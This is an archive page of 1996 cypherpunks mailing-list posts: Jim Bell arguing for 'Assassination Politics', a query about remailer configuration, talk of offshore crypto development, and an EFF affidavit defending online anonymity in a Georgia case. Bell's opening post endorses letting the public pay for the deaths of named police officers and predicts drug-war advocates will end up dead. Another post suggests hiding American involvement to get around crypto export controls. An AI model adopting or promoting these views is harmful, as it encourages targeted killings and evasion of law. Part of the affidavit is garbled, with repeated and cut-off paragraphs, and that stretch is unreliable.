late, an episode of bias which shouldn't even have been started in the first place. Is this "good"? Not really. It's just "not quite as bad." There's still the underlying problem which will repeat ad infinitum. Why depend on a judge to do this? Why not fix the bias before the defendant gets to court? I look at it this way: Why shouldn't the black community (and any outraged whites, as well...) have been able to purchase the deaths of all of the LAPD officers who beat Rodney King, INCLUDING the ones who stood around and watched it happen? I claim that in a society where they could do this, such a beating simply would never have happened, because no cop would have dared to take the risk that a camera would be nearby. In other words, the problem would have been solved before it started. The quickest response to this is that "pretty soon, you won't have any more cops." But no, that's not true. It _is_ true that the thugs will no longer want to become/stay as cops, so that'll be a loss for the good. More likely, cops will simply stop doing those things that will end up offending a substantial fraction of the population, like beating a carload illegal immigrants that they have stopped after a car chase. >Like democracy, it's a really terrible system, and like democracy, >there are some alternatives that aren't worse :-) Maybe even democracy. >It's at least as appalling an idea as government. > >If it does catch on, and I suspect that the technology will certainly >make it possible, I hope that most of the public will have enough sense >and decency not to pay for murdering people who don't deserve it, >so assassins will find more of a market for killing people who do, >and that the lower-paid assassins who kill undeserving people will >be less competent and get caught like most stupid bank robbers do. > >But there are enough Drug-War-Loving Americans that I doubt it. The de-facto drug war won't end instantly after the adoption of AP, but it will be pretty quick. Instead of today, when every citizen is forced through taxation to support the Drug War, this will probably drop to 25% voluntary contributions or less post AP. It's pretty hard to get enthused about a victimless crime, and likewise it's hard to enforce such rules, so people's donations won't match the pre-AP funding. Classic drug-warriors won't dare spread any of their propaganda; people's memories will still be fresh on the pre-AP abuses, so the Bennetts and the Rangels will either be silent or dead, or effusive with apology for their prior behavior. Further, the dramatic drop in the prices of currently-illegal drugs will translate into a similarly large drop in crimes to pay for those drugs, an improvement that everybody will notice. >And attila replied >> all very true. but I will defend Jim Bell's rights to propose >> them, even if Bell is more than a few cards short of a full deck. > >Sure, he's got the right to, and if I run a remailer again he's welcome >to use it to discuss AP (though not to propose assassinations....) >Doesn't mean I want to encourage this sort of thing, though. >Remailers can damn well afford to be choosy, and I'll bet >5 zorkmids that the first person to use my remailer for assassination >doesn't last a month. (Oh, wait...) "Your bet has been duly recorded, sir." <beep!> Jim Bell jimbell(a)pacifier.com

1 0

Re: Where to write crypto?
by azur＠netcom.com 17 Dec '03

17 Dec '03

>On Tue, 24 Sep 1996, Steve Schear wrote: > >> I believe Taiwan might be an excellent location to have 'clear room' crypto >> work done. Taiwan has a very large skilled software labor pool and isn't a >> member of COCOM. >Why go so far, when you can export crypto from Anguila or Canada. The >first is right next to Florida and is a tax haven, the second has a large >talent pool and the same qulity telecom as the States. The main problem is >concealing the fact that there may be any Americans involved. Both save >you the trouble of learning Chinese. I didn't mean that an U.S. citizen should relocate and develop in Taiwan. Why do that when almost all Taiwanese CS speak, read and write fluent english. Just develop the specs and contract for programming. There are many companies waiting to take you business . BTW, there a several U.S. companies (e.g., Typhoon Software, typhoon(a)typhoon.com) which can manage the development of a wide variety of software projects (including crypto code) by highly qualified personel in the former Soviet Republics. For comfort, the software can be tested in the U.S. (just to make sure no trapdoors have been insered by the Russian Mafia ;-) -- Steve

1 0

EFF declaration/affidavit in support of anonymity in GA case.
by Stanton McCandlish 17 Dec '03

17 Dec '03

Full text (with some scannos, but it's readable) in next message. Enough about "lies". We're not just talkin' the talk, we're walkin' the walk too. Also, we are negotiating final details on assisting Julf with a legal defense fund for anon.penet.fi's troubles. -- <HTML><A HREF="http://www.eff.org/~mech/"> Stanton McCandlish </A><HR><A HREF="mailto:mech@eff.org"> mech(a)eff.org </A><P><A HREF="http://www.eff.org/"> Electronic Frontier Foundation </A><P> Online Activist </HTML>

1 0

Re: Uses of Computational Chaos
by E. Allen Smith 17 Dec '03

17 Dec '03

From: IN%"adamsc(a)io-online.com" "Chris Adams" 17-SEP-1996 15:12:13.73 >Supposing, too, that you know these weaknesses, would using separate algorithms >for different portions of the number work well? That would seem to be a possibility; admittedly, the local copy of AC has been checked out for the past year, so I haven't been able to take a look at it. I'd tend to think that if you _know_ the flaw, one could come up with a better way to deal with it than the generalized method I discussed. For instance, if the MSB of bytes coming out of a scribble window is too low in entropy, only use it XORed or whatever with a more-random bit. -Allen

1 0

Re: Winsock Remailer Ver 1.3 -- Help!
by makof＠alias.cyberpass.net 17 Dec '03

17 Dec '03

Hello! It could receive message but not remail. What could be the problem? A sample of the Statistics Table is as follows: Messages remailed 0 Messages discarded 3 Messages received 10 Other particulars are: 1) Pool set as 3 for light traffic 2) POP 3 working fine in other email applications. 3) Platform is Windows 3.1 Some Questions: 1) What should be the entries in the PGP Options dialogue box? 2) Do I have to create separate public and secret keyrings for the remailer? Would apprecaite any help. Makofi

1 0

affeff.htm
by Stanton McCandlish 17 Dec '03

17 Dec '03

EFF AFFIDAVIT IN THE UNITED STATES DISTRICT COURT FOR THE NORTHERN DISTRICT OF GEORGIA ATLANTA DIVISION AMERICAN CIVIL LIBERTIES ) UNION OF GEORGIA, et al, ) ) Plaintiffs, ) CIVIL ACTION ) vs. ) ) FILE NO. _______ ZELL MILLER, in his official ) capacity as Governor of the ) State of Georgia, et al, ) ) Defendants. ) DECLARATION OF SHARI STEELE County of Charles ) State of Maryland ) 1. My name is Shari Steele. I am employed as staff counsel for the Electronic Frontier Foundation (EFF), a nationwide, nonpartisan nonprofit civil liberties organization of approximately 3500 individual members. EFF works in the public interest to protect privacy, free expression, and access to public resources and information online, as well as to promote responsibility in new media. EFF is committed to defending civil liberties in the world of computer communications, to developing a sound legal framework for that world, and to educating government, journalists, and the general public about the legal and social issues raised by this new medium. The facts set forth in this declaration are based upon my personal knowledge and upon the business records of EFF. I submit this affidavit on behalf of EFF. 2. EFF is a nonprofit organization incorporated under the laws of California, with our principal place of business in California. EFF has members throughout the United States, including Georgia. 3. Since our inception in 1990, EFF has devoted considerable resources to educating the public about civil liberties and other legal issues as they arise in the context of online computer communications, or "cyberspace." Throughout EFF's existence, we have initiated and/or moderated several online forums, including forums on the World Wide Web, the WELL (a California-based conferencing system and Internet Service Provider), and USENET discussion groups. These forums are primarily interactive discussion groups, but EFF representatives also frequently participate in online "chat" rooms and in special online events that allow users to discuss and debate a variety of legal and constitutional issues. 4. In addition, EFF has our own computer site on the Internet, and our name (sometimes referred to as a "domain" name) is "eff.org." EFF's public education efforts include the maintaining of extensive online resources, both on the forums we run with online service providers and on our own Internet site. These resources include articles, court cases, legal papers, news releases, newsletters, and excerpts from public discussions related to EFF's legal, legislative, educational and advocacy work. EFF also publishes web pages on the World Wide Web, which can be accessed at http://www.eff.org/. 5. EFF maintains eight online mailing lists, both for specific civil-liberties and activist activities, and for informing the public about our activities. Our primary mailing list has a subscriber base of approximately 7500 individuals, including many located in the State of Georgia. 6. On average, EFF's web page is accessed by Internet users more than 300,000 times every day. Through our web site, EFF transmits between 1.2 to 1.5 gigabytes of information per day. Roughly speaking, this means that EFF's web site transmits the equivalent of 250 to 350 million words, or two entire encyclopedias' worth of information, over computer networks every day. A substantial volume of this information is transmitted into the State of Georgia or through wires located in that State. 7. Although EFF's web site and many of our online resources are based on a computer in California, those resources are accessible to EFF members and other interested individuals throughout the world and in every state of the United States, including the State of Georgia. Similarly, the EFF resources and forums that are maintained on other national commercial online forums can by accessed by those systems' subscribers throughout the United States, including the State of Georgia. 8. EFF routinely advises individuals and groups about their legal rights and responsibilities in the online world. In addition, EFF advocates positions, and promotes discussions, about what those rights and responsibilities should be. Since virtually all interactions on the Internet and other computer networks are at their essence communication and expression, EFF's policy positions and the discussions we foster strongly emphasize freedom-of-speech concerns. Similarly, because free flow of information made possible by this new online technology creates the possibility of extraordinary intrusion into the privacy of computer users, EFF's policy positions and the discussions we foster strongly emphasize the issues of protection of online privacy, including the right to communicate anonymously over computer networks and the right to use encryption software to prevent unauthorized interception and viewing of private communications sent over computer networks. 9. As a part of EFF's efforts to protect the privacy of on line users and in furtherance of free speech, EFF routinely assists our members and members of the general public in protecting their privacy when communicating over the Internet, while at the same time emphasizing the importance of using these privacy rights responsibly. EFF facilitates responsible anonymous communication over computer networks in several ways. For example, many participants in online discussions and chats sponsored by EFF use "handles," i.e., assumed names, rather than their actual names. EFF also provides links on our web page to so-called "anonymous remailers," which are computers on the Internet that will forward Internet e-mail anonymously, allowing an even greater level of privacy for online communications than can be obtained by the use of pseudonyms alone. EFF is aware of and facilitates the responsible use of online handles or pseudonyms, and of communications via anonymous remailers, because the ability to communicate over online networks in this way allows users to participate in chats or discussions groups without abandoning their privacy. It permits users to participate in these discussions without revealing their name to strangers, and without fear of retaliation for the expression of unpopular or controversial viewpoints. This protection of privacy furthers the public interest by facilitating freer and more frank discussions, especially on controversial issues such as questions of online privacy and encryption software. 10. Similarly, EFF wants to make the information that we pub lish on such issues freely available to computer network users who seek it but who want to obtain it anonymously, i.e., by requesting it over computer networks using a pseudonym or handle. Again, EFF believes that by protecting the privacy of users by allowing them to obtain information of public interest anonymously, information on these issues can be disseminated more fully and freely over computer networks. 11. In addition, nearly all of EFF's approximately 3500 mem bers use online communications. EFF members both receive and transmit information through a variety of online communications, including the World Wide Web, online mailing lists, discussion groups, chat rooms, computer bulletin boards, and private e-mail. Many of EFF's members use handles or pseudonyms to protect their privacy when communicating over computer networks. Many of these communications pass through the State of Georgia. 12. I have reviewed the language of O.C.G.A. 16-9-93.1, and neither I nor EFF can determine from its language whether commu nication over computer networks using a pseudonym or assumed name constitutes the use of a name that "falsely identifies" the user for the purposes of the criminal sanctions imposed by this statute. Because EFF actively facilitates and encourages the responsible use of pseudonyms in online communications for the protection of privacy, however, and because virtually all of the anonymous communications over computer networks facilitated by EFF are as easily accessible in Georgia as anywhere else in the world, EFF is fearful that our activities could be viewed by a Georgia prosecutor as aiding and abetting violations of the statute. Similarly, EFF is concerned on behalf of our members that those members who communicate over computer networks using pseudonyms or handles could be violating this criminal statute. EFF, both on our own behalf and on behalf of our members, therefore fears prosecution or other enforcement in Georgia under the statute, and seeks guidance from the Court as to the effect and scope of this vague law. Although EFF is concerned about the risk of prosecution, EFF views any such restriction on our activities in furtherance of the public interest as patently unconstitutional, and we fully intend to continue our activities in support of online privacy and free speech despite the passage of this law. 13. In addition to the many other services that EFF provides to our members and to the online community in general is the online publication through EFF's web site of an extensive archive of articles and other information of interest to the online community. EFF's archives include information on government and legislative activities, legal issues and cases, academic freedom, censorship, free expression and other civil liberties, the infor mation infrastructure and network resources, intellectual property, privacy and encryption, net culture and the online community, and social responsibility in the use of online resources. Included within these archives are hundreds of hyperlinks from the EFF web site to other information and resources made available by others on the Internet on related topics. Many of these links use the trade names of the companies, organizations, government agencies or other entities to whom the link is provided. In some cases, EFF uses the logos or other graphical symbols of the organizations to whom we are linking on our web site. EFF does not obtain prior permission from other web publishers before providing links to their web sites in this manner. Given the sheer number of links, EFF could not as a practical matter do so. EFF does not intend to falsely imply that we have obtained such permission or that we are formally affiliated with any of these other entities. EFF is aware that individuals and companies that maintain their own web sites want others to link to their sites as a matter of course. EFF is concerned that its use of these trade names and images could violate the Act and subject EFF or our members to criminal prosecution, when it is the Act, not our actions, that is in defiance of the customary usage and spirit of the Internet. COMPUTER NETWORKS AFFECTED BY THE RESTRICTIONS OF O.C.G.A. 16- 9-93.1 The Global Internet 14. The largest computer network in the world is the Internet. It links a large number of smaller networks set up by universities, industry, nonprofit organizations, governments, and individuals. While estimates can only be approximations due to rapid growth, the Internet is believed to connect at least 59,000 computer networks, 2.2 million computers, 159 countries, and 40 million users. By some estimates, there will be as many as 200 million Internet users by the year 1999. 15. No one owns the Internet. It is a decentralized global medium of communication and expression in which governments, universities, institutions, corporations, and millions of ordinary people can communicate with each other, express opinions, share ideas, educate themselves, and seek, exchange or publish information on every imaginable topic either to specific recipients or to the entire world almost instantaneously and at minimal cost. 16. Virtually anyone can now use the Internet to communicate with other online users. Anyone with a personal computer, modem, and telephone line can obtain access to the Internet through an Internet Service Provider ("ISP"), usually for a fee. Many businesses, universities, and other institutions have computer networks that are directly connected to the Internet and give their employees, faculty, students, etc., free or low-cost Internet access accounts. For those without a computer or access through work or school, many communities have establrnet to communicate with other online users. Anyone with a personal computer, modem, and telephone line can obtain access to the Internet through an Internet Service Provider ("ISP"), usually for a fee. Many businesses, universities, and other institutions have computer net works that are directly connected to the Internet and give their employees, faculty, students, etc., free or low-cost Internet access accounts. For those without a computer or access through work or school, many communities have establternet can travel any number of different paths to get from its origin to its destination. Persons transmitting information over this international computer network have no control over the route their messages take. Any data transmitted over the Internet could potentially travel through the wires or airspace of Georgia. 18. There are hundreds of thousands of Internet users in the State of Georgia, all of whom can communicate with or receive information from any other user on the network anywhere in the world. Commercial Online Services 19. In addition to the global Internet, communications over the large national computer networks known as "commercial online services," including Prodigy, America Online and CompuServe, are also affected by the Act. 20. These services enable their customers to communicate with other customers, access the Internet, and access other proprietary information and services available only to subscribers. There are more than 12 million subscribers to major commercial online services in the United States and overseas; each of these services have customers in Georgia, who use the service to communicate with others throughout the United States (and in some cases, the world). Local Bulletin Board Services ("BBSs") 21. The Act also affects communications over thousands of local dial-in computer services known as Bulletin Board Systems, or "BBSs." With a relatively small investment, anyone with a phone line, computer, modem, and proper software can establish a BBS to allow friends, neighbors, customers, or members of the general public to dial in and communicate with each other on topics of common interest. There are several hundred such BBSs in Georgia, operated by individuals, nonprofit organizations, advocacy groups, and businesses. In addition, there are thousands of additional local BBSs in other states, which can be reached from Georgia over long distance telephone lines or through a network of BBS systems, which allows BBS subscribers to communicate with subscribers to other BBSs in Georgia and throughout the country. THE NATURE OF COMMUNICATION OVER COMPUTER NETWORKS AFFECTED BY THE ACT 22. Computer users communicate with each other over the com puter networks described above in many different ways. The content of all of the following types of communications are restricted by the broad language of the Act. E-Mail 23. E-mail is the basic method of communication over computer networks. It allows one user to send a message to any other user or users on the network. 24. Because mass mailings via e-mail are relatively easy and inexpensive, e-mail enables any user to publish and distribute information on any topic simply by compiling a mailing list of online users and sending the newsletter to everyone. Discussion & Chat Groups 25. One of the most popular forms of communication over com puter networks are "discussion groups." Discussion groups allow users of computer networks to post messages onto a public computerized bulletin board or to an automated electronic mailing list of subscribers, and to read and respond to messages posted by others participating in the discussion group. Discussion groups have been organized on many different computer networks and on virtually every topic imaginable. 26. On the Internet, the bulletin board discussion groups are known as the "USENET" newsgroups and are arranged by subject mat ter. There are currently USENET newsgroups on more than 15,000 different subjects, and over 100,000 new messages are posted to these groups each day. In addition, there are many thousands more Internet discussion groups organized through automated mail ing lists to subscribers. There are still thousands more organized on the various commercial online services and on local BBSs. All or virtually all of these discussion groups are accessible by computer users in Georgia. 27. Similar to discussion groups are "chat groups," which allow users to engage in real time conversations with each other by typing messages and reading the messages typed by others participating in the "chat." Chat groups also occur over the Internet, commercial online services, and local BBSs. These groups are often set up by particular organizations or online services, but any individual user can form an online "chat." Some chat groups are organized for social entertainment, and others are organized by a particular sponsor on particular topics to provide a specific forum for discussion of issues or ideas. 28. Online discussion and chat groups create an entirely new public forum -- analogous to the village green -- in which individuals can associate and communicate with others who have common interests and can engage in discussion or debate on every imaginable topic. Publication and Access to Information: The World Wide Web 29. A third major category of communication on computer net works involves the publication and retrieval of information. Computer networks, and especially the Internet, give individuals of ordinary means a remarkable new power to publish ideas, opinions, poetry, stories, images, video, and sound to the world. This information can then be retrieved by anyone in the world who has access to the network. 30. The World Wide Web is the most popular way to publish and retrieve information on the Internet. Anyone with access to the Internet and proper software can publish "web pages," which may contain text, images, sound and even video. The web is comprised of millions of separate "web sites" that provide content provided by a particular person or organization, and each web site may include one or more different web pages published by the author of the site. Any Internet user anywhere in the world can view the web pages published by others, read their text, look at their images and video, and listen to their sounds. 31. The web was created to serve as the platform for a global, online store of knowledge, containing information from a diversity of sources, and accessible to Internet users around the world. Though information on the web is contained in individual computers, the fact that each of these computers is connected to the Internet through web protocols allows all of the information to become part of a single body of knowledge. It is currently the most advanced information system on the Internet. The Importance of Links on the World Wide Web: 32. The web also provides web authors with the unique ability to "link" different web pages on the Internet together. These "links" can be text or images in a web page that, when selected by the reader, automatically transfer the reader to a different location on the Internet. For example, a particular link might transport the reader to a different part of the same web page or to an entirely different web page stored in an entirely different computer anywhere in the world. 33. The author of any web page can create a "link" that points to any other web page published on the Internet, without having to contact the creator of the document. In fact, Internet custom and usage does not require a web author to contact a document creator, and those who create documents expect and hope to have their pages linked to. Many of the plaintiffs publish such links in their web pages. 34. Many pages on the web are published by corporations or organizations that operate under trade names. Links to those web pages are routinely identified by the trade name of the organization or some other logo or trademark that readily identifies the company or organization to whose web page the link is directed. 35. "Search engines" and "directories" on the web are ser vices that collect and organize millions of different links to web pages. "Search engines," such as Yahoo, Alta Vista, and Webcrawler, allow users to search the entire World Wide Web for particular words or phrases. The search engine then provides a list of web pages that contain the search term and allows the user to "link" to the web page of their choice. "Directories" are large databases of web sites arranged according to subject matter, similar to an online card catalog. Directories provide "links" to relevant web sites on particular subjects. 36. Without these search engines and directories, it would much more difficult for Internet users to locate and retrieve information of interest on the web. Thus, these search engines and directories provide an essential service to all Internet users. They routinely provide many "links" to web pages using the trade names or logos of the companies or organizations to whom they are linking. 37. This critical linking feature is the defining character istic of the web. The web is comprised of all web pages in the world, stored in millions of different computers around the globe. The web is the interlocking system of links created by individual users in each individual page. Linking is encouraged on the web, because it ties different web pages on related topics together into a coherent system, even though the individual web pages themselves might be stored in different computers in different parts of the world. 38. "Cyberspace" refers to the combination of all of the online communications systems described above. WHY PEOPLE COMMUNICATE ANONYMOUSLY IN CYBERSPACE 39. For many of the same reasons that people have histori cally communicated anonymously through other media like print and the telephone, online users frequently communicate anonymously or pseudonymously in cyberspace. 40. Anonymity allows online users to voice unpopular ideas without fear of retaliation. Citizens can engage in political speech without identifying themselves to the party in power. Victims of crime or disease can request help and advice without stigma. 41. Anonymity also eliminates the potential for discrimina tion and harassment according to factors like gender and ethnicity. Many women communicate online under gender-neutral pseudonyms to avoid harassing e-mail. This practice is similar to women who list their telephone numbers under their first initials in order to avoid harassing calls. Similarly, online users may wish to use a pseudonym in order to avoid discrimination or harassment based on names associated with particular ethnic groups. 42. Anonymity also helps online users maintain their privacy. People communicating about unpopular or sensitive issues might suffer unwanted invasions of privacy, both online and offline, if others had access to their real identity. Anonymity also allows famous people to communicate online as "average people," without fear of a privacy invasion. 43. In some cases, anonymity is a necessary security measure. The personal safety of human rights dissidents, domestic abuse victims, and whistle-blowers would be compromised if they could not communicate anonymously. 44. Anonymity also assists users in preventing the collection and potential misuse by third parties of personal information about them. Online communications can be easily tracked, downloaded and stored by anyone; anonymity can prevent unauthorized third parties from tying that information to a particular person. 45. In addition to the advantages of speaking anonymously in cyberspace, online users have many reasons for wanting to access online information anonymously. Many users would be inhibited from accessing controversial, embarrassing, or sensitive information if they first had to reveal their identity. Political information, safe sex information, and information on stigmatizing diseases are just a few examples of content that some users might wish to access anonymously. In addition, because most web sites collect information about visitors, many online users fear that using their real identities would threaten their privacy whenever they access the web. HOW INDIVIDUALS COMMUNICATE ANONYMOUSLY IN CYBERSPACE 46. As a general rule, communications over computer networks typically include identifying information, such as the sender's return address and message routing information. This default identification of the speaker differentiates online communication from communication by print and telephone. 47. Online technology, however, provides users with a variety of ways to communicate over computer networks without revealing their identity. Online Communications Using Pseudonyms or "Screen Names" 48. Many Internet Service Providers, commercial online ser vices, and local BBSs allow users to set up pseudonymous accounts, permitting the user to communicate online using a "screen name," "user name," or "handle" that is a pen name rather than the real name of the account holder. When a user sends mail, publishes newsletters, or participates in discussions or chat groups using this screen name, the message sent is identified as coming from the screen name adopted by the sender. 49. Many service providers allow their users to set up multi ple "screen names" or "user names." This feature allows users to use different names for different purposes. For example, a user might use her real name as a "screen name" when communicating by e-mail with someone she knows personally, but use a pen name as a "screen name" when communicating with strangers. 50. Pseudonymous accounts allow users to have a consistent identity in cyberspace without having to reveal their true identity to the people with whom they are communicating. Anonymous Internet Access Accounts: 51. The use of "screen names" alone, however, does not pro vide complete anonymity to the user, because the user's service provider knows the true identity of the subscriber. To provide additional privacy, some Internet Service Providers and local BBS operators offer anonymous access accounts. That is, they do not require any identification in order to set up an account for communicating over the network. These accounts provide additional privacy and security to the user because even the service provider has no way to identify the true identity of the user. Anonymous and Pseudonymous Remailers: 52. In addition to the use of screen names or anonymous ac cess accounts, there are special services that allow online users who normally communicate online under their real names to send particular messages anonymously or pseudonymously over the Internet. These services are known as pseudonymous and anonymous remailers, and they consist of software programs that run on computers connected to the Internet. When an online user sends e-mail to the remailer address, the remailer strips the identifying information from the message and then forwards the mail to its destination. The recipient receives mail that has no evi dence indicating its point of origin. Remailers can be used to send individual e-mail and to post messages to mailing lists or USENET newsgroups. 53. "Pseudonymous remailers" are remailers that set up ac counts for repeated use. The operator of a pseudonymous remailer knows the account holder's real e-mail address but provides the account holder with a secret numeric identifier that is used whenever the account holder sends a message through the remailer. Other anonymous users, each with their own secret numeric identifier, can then reply to the anonymous message. This allows users to create a double-blind situation where two or more users can have an ongoing exchange without ever knowing the identity of the other users. 54. Anonymous remailers do not require setting up any account with the service. Any Internet user can use these services by sending an e-mail message to the remailer, which will forward it anonymously to its final destination. 55. Currently, there are over 20 public remailers that any online user may use free of charge. 56. To prevent abuse of such remailers, there are programs available to the public, known as "kill files" and "bozo filters," that provide online users with the means to screen out anonymous messages if they desire. These programs reduce the likelihood of harm from misuse of anonymous remailers. Online Publishing Under Pseudonyms or Anonymously 57. As in the case of e-mail, many publishers in the online medium choose to do so using pen names. 58. For additional anonymity, some Internet Service Providers also allow persons and organizations to set up and maintain web pages anonymously. Anonymous Access Services: 59. Conversely, many online users seek to receive information anonymously over the Internet. As a general rule, however, obtaining information anonymously over the Internet is difficult because every time an online user visits a web site, she leaves a digital "calling card" that reveals the address of the computer from which she is linked to the Internet, the address of the web site she last visited, the kind of computer she is using, and other details. Most web sites keep logs with this information on all of the visitors that access their sites. 60. Many online users fear that their privacy will be invaded if data collected by web sites is misused, particularly where the user has no knowledge of the amount of data being collected by various web site operators. 61. To assist online users in protecting their privacy, there are now services that allow online users to access information anonymously on the Internet. These services, called "anonymizers," serve as middlemen between the user and the par ticular pages he wants to retrieve. An anonymizer strips all references to the user's e-mail address, computer type, and previous page visited before downloading the web page to the user. If the user follows a link from a page accessed through the anonymizer, the linked page is also accessed anonymously. I, Shari Steele, declare under penalty of perjury that the foregoing is true and correct. Executed this ______ day of September, 1996. ________________________________ SHARI STEELE STAFF COUNSEL ELECTRONIC FRONTIER FOUNDATION

1 0